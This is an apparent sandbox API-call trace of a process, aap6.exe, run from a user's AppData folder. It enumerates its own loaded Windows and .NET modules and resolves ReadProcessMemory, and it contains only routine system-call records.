	[0116.370] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.370] GetLastError () returned 0xcb
	[0116.370] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.370] GetLastError () returned 0xcb
	[0116.370] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x23e0bfc, cb=0xc | out: lpmodinfo=0x23e0bfc*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.371] GetLastError () returned 0xcb
	[0116.371] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.371] GetLastError () returned 0xcb
	[0116.371] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.372] GetLastError () returned 0xcb
	[0116.372] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x23e1ce8, cb=0xc | out: lpmodinfo=0x23e1ce8*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.372] GetLastError () returned 0xcb
	[0116.372] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.372] GetLastError () returned 0xcb
	[0116.372] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.373] GetLastError () returned 0xcb
	[0116.373] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x23e2e6c, cb=0xc | out: lpmodinfo=0x23e2e6c*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.373] GetLastError () returned 0xcb
	[0116.373] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.374] GetLastError () returned 0xcb
	[0116.374] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.374] GetLastError () returned 0xcb
	[0116.374] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x23e3f60, cb=0xc | out: lpmodinfo=0x23e3f60*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.374] GetLastError () returned 0xcb
	[0116.375] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.375] GetLastError () returned 0xcb
	[0116.375] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.375] GetLastError () returned 0xcb
	[0116.376] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x23e5054, cb=0xc | out: lpmodinfo=0x23e5054*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.376] GetLastError () returned 0xcb
	[0116.376] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.377] GetLastError () returned 0xcb
	[0116.377] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.377] GetLastError () returned 0xcb
	[0116.377] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x23e618c, cb=0xc | out: lpmodinfo=0x23e618c*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.378] GetLastError () returned 0xcb
	[0116.378] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.378] GetLastError () returned 0xcb
	[0116.378] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.379] GetLastError () returned 0xcb
	[0116.379] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x23e7320, cb=0xc | out: lpmodinfo=0x23e7320*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.379] GetLastError () returned 0xcb
	[0116.379] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.380] GetLastError () returned 0xcb
	[0116.380] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.380] GetLastError () returned 0xcb
	[0116.380] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x23e841c, cb=0xc | out: lpmodinfo=0x23e841c*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.380] GetLastError () returned 0xcb
	[0116.381] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.381] GetLastError () returned 0xcb
	[0116.381] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.381] GetLastError () returned 0xcb
	[0116.382] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x23e9510, cb=0xc | out: lpmodinfo=0x23e9510*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.382] GetLastError () returned 0xcb
	[0116.382] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.382] GetLastError () returned 0xcb
	[0116.382] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.383] GetLastError () returned 0xcb
	[0116.383] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x23ea60c, cb=0xc | out: lpmodinfo=0x23ea60c*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.383] GetLastError () returned 0xcb
	[0116.383] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.384] GetLastError () returned 0xcb
	[0116.384] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.384] GetLastError () returned 0xcb
	[0116.385] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x23eb7a4, cb=0xc | out: lpmodinfo=0x23eb7a4*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.385] GetLastError () returned 0xcb
	[0116.385] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.385] GetLastError () returned 0xcb
	[0116.386] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.386] GetLastError () returned 0xcb
	[0116.386] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x23ec8a0, cb=0xc | out: lpmodinfo=0x23ec8a0*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.386] GetLastError () returned 0xcb
	[0116.387] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.387] GetLastError () returned 0xcb
	[0116.387] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.388] GetLastError () returned 0xcb
	[0116.388] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x23ed9d8, cb=0xc | out: lpmodinfo=0x23ed9d8*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.388] GetLastError () returned 0xcb
	[0116.388] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.389] GetLastError () returned 0xcb
	[0116.389] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.389] GetLastError () returned 0xcb
	[0116.389] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x23eeb64, cb=0xc | out: lpmodinfo=0x23eeb64*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.390] GetLastError () returned 0xcb
	[0116.390] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.390] GetLastError () returned 0xcb
	[0116.390] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.396] GetLastError () returned 0xcb
	[0116.396] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x23efd48, cb=0xc | out: lpmodinfo=0x23efd48*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.397] GetLastError () returned 0xcb
	[0116.397] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.397] GetLastError () returned 0xcb
	[0116.397] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.398] GetLastError () returned 0xcb
	[0116.398] CloseHandle (hObject=0x1ec) returned 1
	[0116.398] GetLastError () returned 0xcb
	[0116.402] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0xd0014be2, Data2=0x6bbe, Data3=0x487a, Data4=([0]=0x91, [1]=0x8f, [2]=0xb2, [3]=0x68, [4]=0xf, [5]=0x55, [6]=0x73, [7]=0xa0))) returned 0x0
	[0116.414] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x25e7467d, Data2=0x7561, Data3=0x40fb, Data4=([0]=0xb3, [1]=0xb4, [2]=0x2c, [3]=0x42, [4]=0xa, [5]=0xc7, [6]=0x73, [7]=0x54))) returned 0x0
	[0116.424] GetProcAddress (hModule=0x75fb0000, lpProcName="ReadProcessMemory") returned 0x75fdcfcc
	[0116.432] GetCurrentProcessId () returned 0x9f8
	[0116.432] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.432] GetLastError () returned 0xcb
	[0116.432] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x23fc454, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x23fc454, lpcbNeeded=0x3ee204) returned 1
	[0116.433] GetLastError () returned 0xcb
	[0116.433] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x23fc594, cb=0xc | out: lpmodinfo=0x23fc594*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.433] GetLastError () returned 0xcb
	[0116.433] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.433] GetLastError () returned 0xcb
	[0116.433] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.434] GetLastError () returned 0xcb
	[0116.434] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x23fd6c4, cb=0xc | out: lpmodinfo=0x23fd6c4*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.434] GetLastError () returned 0xcb
	[0116.434] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.434] GetLastError () returned 0xcb
	[0116.434] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.434] GetLastError () returned 0xcb
	[0116.434] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x23fe7b8, cb=0xc | out: lpmodinfo=0x23fe7b8*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.434] GetLastError () returned 0xcb
	[0116.434] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.435] GetLastError () returned 0xcb
	[0116.435] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.435] GetLastError () returned 0xcb
	[0116.435] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x23ff8b4, cb=0xc | out: lpmodinfo=0x23ff8b4*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.435] GetLastError () returned 0xcb
	[0116.435] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.435] GetLastError () returned 0xcb
	[0116.435] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.436] GetLastError () returned 0xcb
	[0116.436] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x24009b8, cb=0xc | out: lpmodinfo=0x24009b8*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.436] GetLastError () returned 0xcb
	[0116.436] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.436] GetLastError () returned 0xcb
	[0116.436] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.436] GetLastError () returned 0xcb
	[0116.436] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x2401af4, cb=0xc | out: lpmodinfo=0x2401af4*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.437] GetLastError () returned 0xcb
	[0116.437] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.437] GetLastError () returned 0xcb
	[0116.437] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.437] GetLastError () returned 0xcb
	[0116.437] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x2402bf8, cb=0xc | out: lpmodinfo=0x2402bf8*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.438] GetLastError () returned 0xcb
	[0116.438] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.438] GetLastError () returned 0xcb
	[0116.438] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.438] GetLastError () returned 0xcb
	[0116.438] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x2403cf4, cb=0xc | out: lpmodinfo=0x2403cf4*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.438] GetLastError () returned 0xcb
	[0116.439] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.439] GetLastError () returned 0xcb
	[0116.439] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.439] GetLastError () returned 0xcb
	[0116.439] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x2404df0, cb=0xc | out: lpmodinfo=0x2404df0*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.439] GetLastError () returned 0xcb
	[0116.439] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.440] GetLastError () returned 0xcb
	[0116.440] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.440] GetLastError () returned 0xcb
	[0116.440] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x2405f3c, cb=0xc | out: lpmodinfo=0x2405f3c*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.440] GetLastError () returned 0xcb
	[0116.440] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.441] GetLastError () returned 0xcb
	[0116.441] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.441] GetLastError () returned 0xcb
	[0116.441] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x2407038, cb=0xc | out: lpmodinfo=0x2407038*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.441] GetLastError () returned 0xcb
	[0116.441] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.444] GetLastError () returned 0xcb
	[0116.444] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.444] GetLastError () returned 0xcb
	[0116.444] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x240813c, cb=0xc | out: lpmodinfo=0x240813c*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.444] GetLastError () returned 0xcb
	[0116.445] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.445] GetLastError () returned 0xcb
	[0116.445] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.445] GetLastError () returned 0xcb
	[0116.445] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x2409274, cb=0xc | out: lpmodinfo=0x2409274*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.445] GetLastError () returned 0xcb
	[0116.446] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.446] GetLastError () returned 0xcb
	[0116.446] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.446] GetLastError () returned 0xcb
	[0116.446] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x240a370, cb=0xc | out: lpmodinfo=0x240a370*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.447] GetLastError () returned 0xcb
	[0116.447] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.447] GetLastError () returned 0xcb
	[0116.447] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.447] GetLastError () returned 0xcb
	[0116.447] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x240b464, cb=0xc | out: lpmodinfo=0x240b464*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.448] GetLastError () returned 0xcb
	[0116.448] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.448] GetLastError () returned 0xcb
	[0116.448] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.448] GetLastError () returned 0xcb
	[0116.449] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x240c560, cb=0xc | out: lpmodinfo=0x240c560*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.449] GetLastError () returned 0xcb
	[0116.449] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.449] GetLastError () returned 0xcb
	[0116.449] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.450] GetLastError () returned 0xcb
	[0116.450] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x240d64c, cb=0xc | out: lpmodinfo=0x240d64c*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.450] GetLastError () returned 0xcb
	[0116.450] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.450] GetLastError () returned 0xcb
	[0116.450] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.451] GetLastError () returned 0xcb
	[0116.451] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x240e7d0, cb=0xc | out: lpmodinfo=0x240e7d0*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.451] GetLastError () returned 0xcb
	[0116.451] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.452] GetLastError () returned 0xcb
